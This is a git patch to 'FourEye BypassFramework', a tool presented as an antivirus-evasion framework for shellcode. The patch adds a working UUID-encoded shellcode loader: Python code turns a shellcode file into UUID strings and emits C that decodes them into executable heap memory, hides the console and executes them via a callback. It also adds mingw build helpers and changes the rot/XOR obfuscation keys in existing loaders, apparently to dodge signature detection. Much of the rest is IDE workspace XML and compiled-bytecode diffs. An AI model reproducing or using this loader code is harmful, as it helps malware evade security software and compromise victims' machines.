From 5718ae3943d15171aefc7941ea4b3858a57a6d35 Mon Sep 17 00:00:00 2001
From: root <root@localhost.localdomain>
Date: Tue, 26 Jan 2021 14:21:10 +0800
Subject: [PATCH] update V1.8

---
 .idea/workspace.xml                           | 144 ++++++++++++------
 BypassFramework.py                            |  24 +++
 README.md                                     |   4 +-
 core/__pycache__/functions.cpython-38.pyc     | Bin 3900 -> 4523 bytes
 core/functions.py                             |  22 ++-
 .../__pycache__/imageShell.cpython-38.pyc     | Bin 1252 -> 1252 bytes
 module/UUID/UUID_bypass.py                    |  62 ++++++++
 .../__pycache__/UUID_bypass.cpython-38.pyc    | Bin 0 -> 1708 bytes
 .../__pycache__/darkexe.cpython-38.pyc        | Bin 2476 -> 2476 bytes
 .../lib/__pycache__/auxiliary.cpython-38.pyc  | Bin 2956 -> 2956 bytes
 .../lib/__pycache__/compile.cpython-38.pyc    | Bin 762 -> 762 bytes
 .../lib/__pycache__/encryption.cpython-38.pyc | Bin 1427 -> 1427 bytes
 module/memory/CreateFiber.py                  |   8 +-
 module/memory/QueueUserAPC.py                 |   4 +-
 .../__pycache__/CreateFiber.cpython-38.pyc    | Bin 3289 -> 3288 bytes
 .../__pycache__/QueueUserAPC.cpython-38.pyc   | Bin 4384 -> 4383 bytes
 16 files changed, 210 insertions(+), 58 deletions(-)
 create mode 100644 module/UUID/UUID_bypass.py
 create mode 100644 module/UUID/__pycache__/UUID_bypass.cpython-38.pyc

diff --git a/.idea/workspace.xml b/.idea/workspace.xml
index f8281b3..4c70692 100644
--- a/.idea/workspace.xml
+++ b/.idea/workspace.xml
@@ -3,7 +3,9 @@
   <component name="ChangeListManager">
     <list default="true" id="bdc1e938-7ae2-472a-911c-960da063036d" name="Default Changelist" comment="">
       <change beforePath="$PROJECT_DIR$/BypassFramework.py" beforeDir="false" afterPath="$PROJECT_DIR$/BypassFramework.py" afterDir="false" />
+      <change beforePath="$PROJECT_DIR$/README.md" beforeDir="false" afterPath="$PROJECT_DIR$/README.md" afterDir="false" />
       <change beforePath="$PROJECT_DIR$/core/functions.py" beforeDir="false" afterPath="$PROJECT_DIR$/core/functions.py" afterDir="false" />
+      <change beforePath="$PROJECT_DIR$/module/memory/CreateFiber.py" beforeDir="false" afterPath="$PROJECT_DIR$/module/memory/CreateFiber.py" afterDir="false" />
       <change beforePath="$PROJECT_DIR$/module/memory/QueueUserAPC.py" beforeDir="false" afterPath="$PROJECT_DIR$/module/memory/QueueUserAPC.py" afterDir="false" />
     </list>
     <option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
@@ -13,37 +15,48 @@
     <option name="LAST_RESOLUTION" value="IGNORE" />
   </component>
   <component name="FileEditorManager">
-    <leaf>
-      <file pinned="false" current-in-tab="true">
+    <leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
+      <file pinned="false" current-in-tab="false">
         <entry file="file://$PROJECT_DIR$/BypassFramework.py">
           <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="242">
-              <caret line="17" column="14" lean-forward="true" selection-start-line="17" selection-start-column="14" selection-end-line="17" selection-end-column="14" />
+            <state relative-caret-position="1870">
+              <caret line="139" column="58" selection-start-line="139" selection-start-column="58" selection-end-line="139" selection-end-column="58" />
+              <folding>
+                <element signature="e#19#47#0" expanded="true" />
+              </folding>
             </state>
           </provider>
         </entry>
       </file>
-      <file pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/module/Separation/imageShell.py">
-          <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="-346" />
+      <file pinned="false" current-in-tab="true">
+        <entry file="file://$PROJECT_DIR$/README.md">
+          <provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
+            <state split_layout="SPLIT">
+              <first_editor relative-caret-position="440">
+                <caret line="71" lean-forward="true" selection-start-line="71" selection-end-line="71" />
+              </first_editor>
+              <second_editor />
+            </state>
           </provider>
         </entry>
       </file>
       <file pinned="false" current-in-tab="false">
         <entry file="file://$PROJECT_DIR$/core/functions.py">
           <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="446">
-              <caret line="69" column="41" selection-start-line="69" selection-start-column="41" selection-end-line="69" selection-end-column="41" />
+            <state relative-caret-position="60">
+              <caret line="78" column="19" selection-start-line="78" selection-start-column="19" selection-end-line="78" selection-end-column="41" />
             </state>
           </provider>
         </entry>
       </file>
       <file pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/module/memory/QueueUserAPC.py">
+        <entry file="file://$PROJECT_DIR$/module/UUID/UUID_bypass.py">
           <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="418">
-              <caret line="45" lean-forward="true" selection-start-line="45" selection-end-line="45" />
+            <state relative-caret-position="196">
+              <caret line="51" column="5" lean-forward="true" selection-start-line="51" selection-start-column="5" selection-end-line="51" selection-end-column="5" />
+              <folding>
+                <element signature="e#19#29#0" expanded="true" />
+              </folding>
             </state>
           </provider>
         </entry>
@@ -51,31 +64,34 @@
       <file pinned="false" current-in-tab="false">
         <entry file="file://$PROJECT_DIR$/module/memory/CreateFiber.py">
           <provider selected="true" editor-type-id="text-editor">
-            <state relative-caret-position="-2216" />
+            <state relative-caret-position="198">
+              <caret line="47" column="8" lean-forward="true" selection-start-line="47" selection-start-column="8" selection-end-line="47" selection-end-column="22" />
+            </state>
           </provider>
         </entry>
       </file>
     </leaf>
   </component>
+  <component name="FileTemplateManagerImpl">
+    <option name="RECENT_TEMPLATES">
+      <list>
+        <option value="Python Script" />
+      </list>
+    </option>
+  </component>
   <component name="Git.Settings">
     <option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
   </component>
   <component name="IdeDocumentHistory">
     <option name="CHANGED_PATHS">
       <list>
-        <option value="$PROJECT_DIR$/core/functions.py" />
+        <option value="$PROJECT_DIR$/module/memory/CreateFiber.py" />
         <option value="$PROJECT_DIR$/module/memory/QueueUserAPC.py" />
+        <option value="$PROJECT_DIR$/module/UUID/UUID.py" />
         <option value="$PROJECT_DIR$/BypassFramework.py" />
-      </list>
-    </option>
-  </component>
-  <component name="ProjectConfigurationFiles">
-    <option name="files">
-      <list>
-        <option value="$PROJECT_DIR$/.idea/FourEye.iml" />
-        <option value="$PROJECT_DIR$/.idea/misc.xml" />
-        <option value="$PROJECT_DIR$/.idea/vcs.xml" />
-        <option value="$PROJECT_DIR$/.idea/modules.xml" />
+        <option value="$PROJECT_DIR$/core/functions.py" />
+        <option value="$PROJECT_DIR$/module/UUID/UUID_bypass.py" />
+        <option value="$PROJECT_DIR$/README.md" />
       </list>
     </option>
   </component>
@@ -116,7 +132,7 @@
               <item name="FourEye" type="b2602c69:ProjectViewProjectNode" />
               <item name="FourEye" type="462c0819:PsiDirectoryNode" />
               <item name="module" type="462c0819:PsiDirectoryNode" />
-              <item name="Separation" type="462c0819:PsiDirectoryNode" />
+              <item name="UUID" type="462c0819:PsiDirectoryNode" />
             </path>
           </expand>
           <select />
@@ -126,6 +142,7 @@
     </panes>
   </component>
   <component name="PropertiesComponent">
+    <property name="SHARE_PROJECT_CONFIGURATION_FILES" value="true" />
     <property name="WebServerToolWindowFactoryState" value="false" />
     <property name="last_opened_file_path" value="$PROJECT_DIR$" />
     <property name="nodejs_interpreter_path.stuck_in_default_project" value="undefined stuck path" />
@@ -154,25 +171,20 @@
       <option name="presentableId" value="Default" />
       <updated>1609636816120</updated>
       <workItem from="1609636818112" duration="1046000" />
+      <workItem from="1611634911816" duration="6072000" />
     </task>
     <servers />
   </component>
   <component name="TimeTrackingManager">
-    <option name="totallyTimeSpent" value="1046000" />
+    <option name="totallyTimeSpent" value="7118000" />
   </component>
   <component name="ToolWindowManager">
     <frame x="-5" y="0" width="1930" height="1085" extended-state="6" />
     <editor active="true" />
     <layout>
-      <window_info id="Favorites" side_tool="true" />
-      <window_info active="true" content_ui="combo" id="Project" order="0" visible="true" weight="0.11965812" />
+      <window_info content_ui="combo" id="Project" order="0" visible="true" weight="0.120726496" />
       <window_info id="Structure" order="1" side_tool="true" weight="0.25" />
-      <window_info anchor="bottom" id="Docker" show_stripe_button="false" />
-      <window_info anchor="bottom" id="Database Changes" />
-      <window_info anchor="bottom" id="Version Control" />
-      <window_info anchor="bottom" id="Python Console" />
-      <window_info anchor="bottom" id="Terminal" visible="true" weight="0.3382353" />
-      <window_info anchor="bottom" id="Event Log" side_tool="true" />
+      <window_info id="Favorites" order="2" side_tool="true" />
       <window_info anchor="bottom" id="Message" order="0" />
       <window_info anchor="bottom" id="Find" order="1" />
       <window_info anchor="bottom" id="Run" order="2" />
@@ -180,45 +192,81 @@
       <window_info anchor="bottom" id="Cvs" order="4" weight="0.25" />
       <window_info anchor="bottom" id="Inspection" order="5" weight="0.4" />
       <window_info anchor="bottom" id="TODO" order="6" />
-      <window_info anchor="right" id="SciView" />
-      <window_info anchor="right" id="Database" />
+      <window_info anchor="bottom" id="Docker" order="7" show_stripe_button="false" />
+      <window_info anchor="bottom" id="Version Control" order="8" />
+      <window_info anchor="bottom" id="Database Changes" order="9" />
+      <window_info anchor="bottom" id="Event Log" order="10" side_tool="true" />
+      <window_info active="true" anchor="bottom" id="Terminal" order="11" visible="true" weight="0.24579832" />
+      <window_info anchor="bottom" id="Python Console" order="12" />
       <window_info anchor="right" id="Commander" internal_type="SLIDING" order="0" type="SLIDING" weight="0.4" />
       <window_info anchor="right" id="Ant Build" order="1" weight="0.25" />
       <window_info anchor="right" content_ui="combo" id="Hierarchy" order="2" weight="0.25" />
+      <window_info anchor="right" id="SciView" order="3" />
+      <window_info anchor="right" id="Database" order="4" />
     </layout>
   </component>
   <component name="TypeScriptGeneratedFilesManager">
     <option name="version" value="1" />
   </component>
   <component name="editorHistoryManager">
-    <entry file="file://$PROJECT_DIR$/module/memory/CreateFiber.py">
+    <entry file="file://$PROJECT_DIR$/module/memory/QueueUserAPC.py">
       <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="-2216" />
+        <state relative-caret-position="2134">
+          <caret line="99" column="41" selection-start-line="99" selection-start-column="41" selection-end-line="99" selection-end-column="41" />
+        </state>
       </provider>
     </entry>
     <entry file="file://$PROJECT_DIR$/module/Separation/imageShell.py">
       <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="-346" />
+        <state relative-caret-position="324">
+          <caret line="18" column="24" lean-forward="true" selection-start-line="18" selection-start-column="24" selection-end-line="18" selection-end-column="24" />
+          <folding>
+            <element signature="e#19#29#0" expanded="true" />
+          </folding>
+        </state>
       </provider>
     </entry>
-    <entry file="file://$PROJECT_DIR$/core/functions.py">
+    <entry file="file://$PROJECT_DIR$/module/memory/CreateFiber.py">
       <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="446">
-          <caret line="69" column="41" selection-start-line="69" selection-start-column="41" selection-end-line="69" selection-end-column="41" />
+        <state relative-caret-position="198">
+          <caret line="47" column="8" lean-forward="true" selection-start-line="47" selection-start-column="8" selection-end-line="47" selection-end-column="22" />
         </state>
       </provider>
     </entry>
-    <entry file="file://$PROJECT_DIR$/module/memory/QueueUserAPC.py">
+    <entry file="file://$PROJECT_DIR$/module/UUID/UUID_bypass.py">
       <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="418">
-          <caret line="45" lean-forward="true" selection-start-line="45" selection-end-line="45" />
+        <state relative-caret-position="196">
+          <caret line="51" column="5" lean-forward="true" selection-start-line="51" selection-start-column="5" selection-end-line="51" selection-end-column="5" />
+          <folding>
+            <element signature="e#19#29#0" expanded="true" />
+          </folding>
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/core/functions.py">
+      <provider selected="true" editor-type-id="text-editor">
+        <state relative-caret-position="60">
+          <caret line="78" column="19" selection-start-line="78" selection-start-column="19" selection-end-line="78" selection-end-column="41" />
         </state>
       </provider>
     </entry>
     <entry file="file://$PROJECT_DIR$/BypassFramework.py">
       <provider selected="true" editor-type-id="text-editor">
-        <state relative-caret-position="242">
-          <caret line="17" column="14" lean-forward="true" selection-start-line="17" selection-start-column="14" selection-end-line="17" selection-end-column="14" />
+        <state relative-caret-position="1870">
+          <caret line="139" column="58" selection-start-line="139" selection-start-column="58" selection-end-line="139" selection-end-column="58" />
+          <folding>
+            <element signature="e#19#47#0" expanded="true" />
+          </folding>
+        </state>
+      </provider>
+    </entry>
+    <entry file="file://$PROJECT_DIR$/README.md">
+      <provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
+        <state split_layout="SPLIT">
+          <first_editor relative-caret-position="440">
+            <caret line="71" lean-forward="true" selection-start-line="71" selection-end-line="71" />
+          </first_editor>
+          <second_editor />
         </state>
       </provider>
     </entry>
diff --git a/BypassFramework.py b/BypassFramework.py
index 5aa7329..26b2dcf 100644
--- a/BypassFramework.py
+++ b/BypassFramework.py
@@ -3,6 +3,7 @@
 from core.functions import *
 import readline
 from module.memory.CreateFiber import *
+from module.UUID.UUID_bypass import *
 from module.memory.QueueUserAPC import *
 from module.Separation.imageShell import *
 from module.darkexe.darkexe import *
@@ -122,6 +123,29 @@
                                     break
                             except EOFError:
                                 print(" ")
+                    if exe_command.strip(" ")[0] == "4":
+                        while True:
+                            try:
+                                bypass4_command = input("\033[4mFourEye(shellcode_bypass4)\033[0m" + colored(" >>", "green"))
+                                if bypass4_command == "UUID":
+                                    UUIDSehllcode()
+                                if bypass4_command == "x86":
+                                    flag = 1
+                                if bypass4_command == "x64":
+                                    flag = 2
+                                if bypass4_command == "execute":
+                                    if flag == 1:
+                                        x86_uuid_execute()
+                                    elif flag == 2:
+                                        x64_uuid_execute()
+                                if bypass4_command == "exit":
+                                    sys.exit()
+                                if bypass4_command == "back":
+                                    break
+
+                            except EOFError:
+                                print(" ")
+
 
                 except EOFError:
                     print(" ")
diff --git a/README.md b/README.md
index 38ef0b9..d785607 100644
--- a/README.md
+++ b/README.md
@@ -12,7 +12,7 @@
                                  \|   
 
 
-                    v1.7 stable !
+                    v1.8 stable !
                     author lengyi@HongHuSec Lab !
 
  FourEye BypassFrameWork | BypassAV your shellcode && exe 
@@ -88,6 +88,8 @@ https://www.bilibili.com/video/BV1b54y1x7RT
 
 2021.01.09: 隐藏窗口
 
+2021.01.26: 增加UUID免杀方法
+
 
 ## TODO
 
diff --git a/core/__pycache__/functions.cpython-38.pyc b/core/__pycache__/functions.cpython-38.pyc
index 4c9d7af6d6b858fbf9b3817718bbd8009895aa56..cbad1846547bb6008edaeac3453446ff0a8fad51 100644
GIT binary patch
delta 587
zcmdlZw_2Gml$V!_0SH!Z;7{lkn8+u?IBTMIm#BP-LJLC_e~My?5|9>1VG3r@RNlDj
z7&D{I<VF@<krIXy#uU~Rre>yQMn;Ad2B0+C<Si^qg-UgShDB?~DmYaZBo-GthM7!a
zm0<}D^>mrc$1XX!h*gN417sf~-{wx%#f*%qn|0X}85wmq_jB+wGMY}F&uQ#r1C+0l
zDPdT^n8LUaXnYA%33Ccl3NysAaE3f7Mg|ZBi?hJQBN_6TA|Os-oh--YH@S_=Ow<-=
zR593tj7*GNOhSxoj78d$C$Nf4-pLU@*^b+Pat@d4<h|V7jINXWIYcMl;})E}fRzO#
z%NRLXkxP7X2)8A-f^JSxL2^-vNs-Rver_EhfeH(=_|nqMl=#$&)a25VR9}#0Mm><h
ze(XRiok7-8?hU`H5TF|zg`u`9=;{`iB$i|*E9jO_PUF;66R0pVL2*YY7Vqj$zRw-c
zXtCLzCx?;IV)7c^2aK_kd-=rKjDd<Z1t+iKa~9PGGK)YlSEL6b^g)F2WC3>Z$^88M
bN^(Fh4<iSw0HY8S2RjD`2MY%qkVFCiHDG@-

delta 236
zcmZ3jyhn~Nl$V!_0SI_@|BTP)oyaG{*fmkRi<K#uK~sL?sbkEHdXp!z=(43S00mel
zUt(E0Ie}er@*!3sRyL5f&9_+>Gcu}du4hkVWYpRGkb|F*(PZ*RPUFdI+5H&3C(q?|
zoV=dffAW1UZbqBQ4>?2`btWtDWKYiG_Gc~91{yH=Bd_M<Kis^GE+E;-@;ri*1Ni(I
z4K^>}%VA_Ro6IZlfYEpII{|SvL!fF+{>j{e&fGdcW|1z4Fr4hmB0jlFkY7#;$mL<=
WU=?5#V&Y)u;NW24U<Hy8zzG0*X*aC^

diff --git a/core/functions.py b/core/functions.py
index 5183093..9043b55 100644
--- a/core/functions.py
+++ b/core/functions.py
@@ -32,6 +32,7 @@ def bypass_list():
     print(colored("[+] BypassAV1：Shellcode Launcher using Fibers", "red"))
     print(colored("[+] BypassAV2：Shellcode Launcher using QueueUserAPC", "red"))
     print(colored("[+] BypassAV3：Shellcode Launcher using PNG", "red"))
+    print(colored("[+] BypassAV4：Shellcode Launcher using UUID", "red"))
 
 def help():
     print(colored("Available commands to use :\n","cyan"))
@@ -60,7 +61,7 @@ def x86cpp_execute():
 def x64c_execute():
     try:
         os.system('x86_64-w64-mingw32-gcc ' + '/root/shellcode.c' + ' -o ' + '/root/shellcode.exe' + " --static" + " -w")
-        os.system('rm -rf '+ '/root/shellcode.c')
+        #os.system('rm -rf '+ '/root/shellcode.c')
         print(colored("[+]shellcode compoile at /root/shellcode.exe\n","cyan"))
     except:
         print(colored("[-]error\n","cyan"))
@@ -73,9 +74,24 @@ def x86c_execute():
     except:
         print(colored("[-]error\n","cyan"))
 
+def x86_uuid_execute():
+    try:
+        os.system('x86_64-w64-mingw32-gcc ' + '-m32 ' + '/root/shellcode.c' + ' -o ' + '/root/shellcode.exe' + " --static" + " -w" + " -lrpcrt4")
+        os.system('rm -rf '+ '/root/shellcode.c')
+        print(colored("[+]shellcode compoile at /root/shellcode.exe\n","cyan"))
+    except:
+        print(colored("[-]error\n","cyan"))
+
+def x64_uuid_execute():
+    try:
+        os.system('x86_64-w64-mingw32-gcc ' + '/root/shellcode.c' + ' -o ' + '/root/shellcode.exe' + " -lrpcrt4" + " --static" + " -w")
+        os.system('rm -rf '+ '/root/shellcode.c')
+        print(colored("[+]shellcode compoile at /root/shellcode.exe\n","cyan"))
+    except:
+        print(colored("[-]error\n","cyan"))
 
 def banner():
-    version = '\33[43m V1.0 Beta \033[0m'
+    version = '\33[43m V1.8 Beta \033[0m'
     Yellow = '\33[33m'
     OKGREEN = '\033[92m'
     CRED = '\033[91m'
@@ -92,7 +108,7 @@ def banner():
                                  \|   
 {1}
 
-                    {3}v1.7 stable !{1}
+                    {3}v1.8 stable !{1}
                     {3}author lengyi@HongHuSec Lab !{1}
 
 {2} FourEye BypassFrameWork | BypassAV your shellcode && exe {1}
diff --git a/module/Separation/__pycache__/imageShell.cpython-38.pyc b/module/Separation/__pycache__/imageShell.cpython-38.pyc
index 11b949bdf4eacb13305f5ed6ad4e765a0d2fc9c2..98936265cf02c0b9c4919935d5daa915cb0dbaf8 100644
GIT binary patch
delta 21
bcmaFD`Gk`vl$V!_0SI!Y^CxWNxxoSeJ9!0b

delta 21
bcmaFD`Gk`vl$V!_0SI_@|BT<rbAtr{KI{e<

diff --git a/module/UUID/UUID_bypass.py b/module/UUID/UUID_bypass.py
new file mode 100644
index 0000000..d568da7
--- /dev/null
+++ b/module/UUID/UUID_bypass.py
@@ -0,0 +1,62 @@
+#!/usr/bin/python
+
+import sys
+import os
+from termcolor import colored
+from uuid import UUID
+
+def UUIDSehllcode():
+    shellcode_add = input("\033[4mPlease input Shellcode:\033[0m" + colored(" >>", "green"))
+    offset = 0
+    with open(shellcode_add, "rb") as f:
+        bin = f.read()
+
+    out = ""
+
+    while (offset < len(bin)):
+        countOfBytesToConvert = len(bin[offset:])
+        if countOfBytesToConvert < 16:
+            ZerosToAdd = 16 - countOfBytesToConvert
+            byteString = bin[offset:] + (b'\x00' * ZerosToAdd)
+            uuid = UUID(bytes_le=byteString)
+        else:
+            byteString = bin[offset:offset + 16]
+            uuid = UUID(bytes_le=byteString)
+        offset += 16
+
+        out += "\"{}\",\n".format(uuid)
+
+    load = '''   
+        #include <windows.h>
+        #include <rpc.h>
+        #include <stdio.h>
+                
+        const char* uuids[] ;
+        
+int main()
+{
+    FreeConsole();
+    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
+    void* ha = HeapAlloc(hc, 0, 0x100000);
+    DWORD_PTR hptr = (DWORD_PTR)ha;
+    int elems = sizeof(uuids) / sizeof(uuids[0]);
+    
+    for (int i = 0; i < elems; i++) {
+        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
+        if (status != RPC_S_OK) {
+            printf("UuidFromStringA() != S_OK");
+            CloseHandle(ha);
+            return -1;
+        }
+         hptr += 16;
+    }
+    EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
+    CloseHandle(ha);
+    return 0;
+}
+    '''
+
+    shellcodes = "uuids[] = {" + out + "}"
+    loads = load.replace('uuids[]', shellcodes, 1)
+    with open('/root/shellcode.c', 'w+') as f:
+        f.write(loads)
diff --git a/module/UUID/__pycache__/UUID_bypass.cpython-38.pyc b/module/UUID/__pycache__/UUID_bypass.cpython-38.pyc
new file mode 100644
index 0000000000000000000000000000000000000000..c2b3d66334c7d7139188d9dff3155666cf59d9e5
GIT binary patch
literal 1708
zcmZux&2QX96rZuZA8|Hq8WjR9f+1Y&q;ylMe2BJDx0|hk2uauvwc03J9M5dm!uBlV
z*{0drr?dwS2#G6~<^~spgoOB8d_@(CI3gs}6L0Kox>TLr8P9va_kQoqdmeY@=1c_R
z*)M0m{Jx0LA4-@W8VEOGMpt2>h+-dg^C#|NkTqWm^sbJTPWO$V&@I5;poK@MTco&!
z?BWS{qAeSzC71hLFbZ3v)A@AWRlxI6fz1reI?U)_SR@3Km}*o%(iYJXPJlMSQi~BS
z9BJR3Nwipdq93C~zk@zNU!W$si)b-1Vl0hVKf+%j@tfMkkmh6UO~p`%3$z6KN3;|d
z-atw51xm|t@jO~YNl6ys5}o-LC*|;h!ok0^m@!OaO8XH?aBNWXNii-TV~~umKc=(E
z46Ve*BBFD^X2vs5O7u)@(zC~UGAlJYPtQU2^I7)gc=i}$G?hPsf-P)~-?_MZHQ4c)
z6EWh2!;vJd0rP#AQ})Tl-PK^MleM+9a8EE63Jk?cHL;(flX=+wtz=~5Zh8MuvZ&{?
zadGKkvUJIG{(^22LQI(1c+U%6e?%F%e&B_aA4Hc2Yp(#s(0w%!N$T-w=sEEziOa)C
z5_jN;WilFhG}_%G*G^H>3nd90FSKm)VWzzeC#r)F_nBqqh8wl5_00wuxa0=eV9u~E
zm?N3B(Wve8>di*2-RL#8YPUAwako+Lv>TVmD*Pwj_qj)x$-tR7*L<J5*1*ke9$Z;f
zV`92~XS=!H+i5q+U?>GRSf?6$;N;1ugqhER2;j&YGv2qdW7(woKY4d`Z^D`#tIq|o
zl&=SVtJmOhJ*R=~%8E_$!>j5wcj~=XyVmZsNF*IOQh_>9xZ8pUEh)V4Ud^(UQN7h}
z+IdO6y-UPW7i!s7nNI>MHm^^t3C+7Va_-*tXVdYN)evZ9-&%S(j!nR+1rAG7l**y*
z^N4LYA%!jtoR>hs<Vb|%{VRFJlznpA@w~JvH^`L_b2x_@;V5VwMv?`a+;w~w!67%d
z>owKXt<L8=P1r*ZUbOX<8B8LtUNdvn@oZk7J*eTsXE+&`Ci028BI9#a!MUtP&u`Xc
zcdQ+(*fVJ%yK+K(`ci`rS(qB|&e2r&;kM~YTZD!Nj!a8}4SmODY2iS4lG&AX?v$?Q
zP?{EbzaKG~;(n^{dtq1SBiVh;<)ct;_iw5D+2-)R-)BO0%`Ouh<Qk=2Q{COX->IRp
zP7R+!3g#(&lopgG`U!~(kkUUlVW|d;dQN_<r$2x5^zn~>{_y+L$G=tw>;bRd<|ENK
zWYvJvk<Y5?g~^uQ{^8JxqRYd>bWSN-Y><Cy%0L-eupqpE4P3zsnxR$jJTAlUJg#W-
z*u-URUNhdV;4^@Wx4_merFwK2r5caY8OcPDef6_yiq`?pDwtVjiBByT0Zq%-^ZeFS
Np(B-oidKPW{{fN+y{-TN

literal 0
HcmV?d00001

diff --git a/module/darkexe/__pycache__/darkexe.cpython-38.pyc b/module/darkexe/__pycache__/darkexe.cpython-38.pyc
index 01063e31a296f75d1d7240a10e627fcec6970388..f3ab6e9839fbdfa9549382a4bbc6aea347478bd9 100644
GIT binary patch
delta 85
zcmZ1@yhfNOl$V!_0SI!Y^CxWNxzEaYYx5h{=ZuV+ldrJ1NNNLRG?|KYfK-t#h|OHY
Y17d4WF677)&;&8zaz%QR-*fB*0Be>LWB>pF

delta 85
zcmZ1@yhfNOl$V!_0SI_@|BT<rbDxzlYV#Y`=ZuURldrJ1NNNFPG?|LDfmD$Wh|OHY
Y17d4UF677)&;T*vaz(n6-*fB*0C~a_hyVZp

diff --git a/module/darkexe/lib/__pycache__/auxiliary.cpython-38.pyc b/module/darkexe/lib/__pycache__/auxiliary.cpython-38.pyc
index c0502e09e641a9868a5e2032a3e0d5e9992ca36c..a6e1d4498ae974ec60e74937acde6026b4a601ca 100644
GIT binary patch
delta 50
zcmeAX?-Az-<>lpK0D_$9{0SR*-f=SCn*5tHi_vm&8rKp=tI6ElwrrL_=_0Gie%y8d
DO05j#

delta 50
zcmeAX?-Az-<>lpK00N%fKjSy@yyIkyn*5tHi_v0o8rKp=%gNl_wrmza=_1R?e%y8d
DQ-lo;

diff --git a/module/darkexe/lib/__pycache__/compile.cpython-38.pyc b/module/darkexe/lib/__pycache__/compile.cpython-38.pyc
index cea88405cfc5a6ec9f4538f27fce7fc02857ff8e..8d30e84f0f3f5af8d5f04126fc88f3a18a532ce9 100644
GIT binary patch
delta 21
bcmeyx`iqq(l$V!_0SI!Y^CxWNdB+3*K6?eD

delta 21
bcmeyx`iqq(l$V!_0SI_@|BT<r^NtAsLGA`n

diff --git a/module/darkexe/lib/__pycache__/encryption.cpython-38.pyc b/module/darkexe/lib/__pycache__/encryption.cpython-38.pyc
index 68897824c47889f65bba2a415b615f33a2ab5153..7a9b08b6b46957a9d09ecd2191058805acb4245e 100644
GIT binary patch
delta 21
bcmbQtJ(-&)l$V!_0SI!Y^CxWNX=eohE_?)i

delta 21
bcmbQtJ(-&)l$V!_0SI_@|BT<r)6NP2G4BN`

diff --git a/module/memory/CreateFiber.py b/module/memory/CreateFiber.py
index d16a14b..b0121b6 100644
--- a/module/memory/CreateFiber.py
+++ b/module/memory/CreateFiber.py
@@ -18,7 +18,7 @@ def rot_compailed(shellcode_size, shellcode):
         
         for (int i = 0; i < sizeof shellcode; i++)
         {
-            shellcode[i] = shellcode[i] - 13;
+            shellcode[i] = shellcode[i] - 7;
         }
         PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         memcpy(shellcodeLocation, shellcode, sizeof shellcode);
@@ -52,7 +52,7 @@ def xor_compailed(shellcode_size, shellcode):
         
           for (int i = 0; i < sizeof shellcode; i++)
             {
-                shellcode[i] = shellcode[i] ^ 0x11 ^ 0x55;
+                shellcode[i] = shellcode[i] ^ 0x1C ^ 0x5D;
             }
             
         
@@ -84,7 +84,7 @@ def Fiber_rot_13():
                 code = f.read(1)
                 if not code:
                     break
-                base10 = ord(code) + 0x0D
+                base10 = ord(code) + 0x07
                 code_hex = hex(base10)
                 code_hex = code_hex.replace('0x', '')
 
@@ -109,7 +109,7 @@ def Fiber_xor_13():
                 code = f.read(1)
                 if not code:
                     break
-                base10 = ord(code) ^ 0x55 ^ 0x11
+                base10 = ord(code) ^ 0x5D ^ 0x1C
                 code_hex = hex(base10)
                 code_hex = code_hex.replace('0x', '')
 
diff --git a/module/memory/QueueUserAPC.py b/module/memory/QueueUserAPC.py
index 34c1728..4685f5a 100644
--- a/module/memory/QueueUserAPC.py
+++ b/module/memory/QueueUserAPC.py
@@ -22,7 +22,7 @@ def rot_compailed(shellcode_size, shellcode):
             
             for (int i = 0; i < sizeof default_shell; i++)
             {
-                default_shell[i] = default_shell[i] - 13;
+                default_shell[i] = default_shell[i] - 9;
             }
             
             shellcode = default_shell;
@@ -97,7 +97,7 @@ def Queue_rot_13():
                 code = f.read(1)
                 if not code:
                     break
-                base10 = ord(code) + 0x0D
+                base10 = ord(code) + 0x09
                 code_hex = hex(base10)
                 code_hex = code_hex.replace('0x', '')
 
diff --git a/module/memory/__pycache__/CreateFiber.cpython-38.pyc b/module/memory/__pycache__/CreateFiber.cpython-38.pyc
index 11b2e5a95bdc4e35f3945b06d5dec968bc990432..2ee5c0f206637a4eaa79f22bd6c5dae4c4b98bd2 100644
GIT binary patch
delta 67
zcmca9c|(#nl$V!_0SFpq@+YjF$a{uy-o{%>jEv@+|1rK~=5SVsQ!uD7b=mx$)r^^u
VeX|;;KNDLlQ29%l&DGp-i~y><6Hx#F

delta 68
zcmca1c~g=%l$V!_0SM0S{u#e+BJUZ-`5SL3F)|q%Z~n{pl9|I$Ax^=d!qjy0J61Dh
XM&8Y;oc>H~p+NO71vgi5$1wr`{$~`Y

diff --git a/module/memory/__pycache__/QueueUserAPC.cpython-38.pyc b/module/memory/__pycache__/QueueUserAPC.cpython-38.pyc
index 07fd5c2fd0fd5d015576259c7aa2d127efb4d9cb..8c1361fa70dccce52545cae3936df093e29293f4 100644
GIT binary patch
delta 68
zcmZ3WG+&7~l$V!_0SFpq@+YWF<UPaqWHTfCQATE61<TD3Ipmo)A7Z`C&d9lW8gDcc
X(@WmTpZSk7nor&>pa&#h377!@m|qm}

delta 68
zcmbQQv_OeBl$V!_0SKP%{u!@2k@pPa(@pG08Ci4{42?HG;E-qDe311rJ0tJrsl3rl
XOhr<YKk*-DG@HCjKo3a16fgq-<&YL1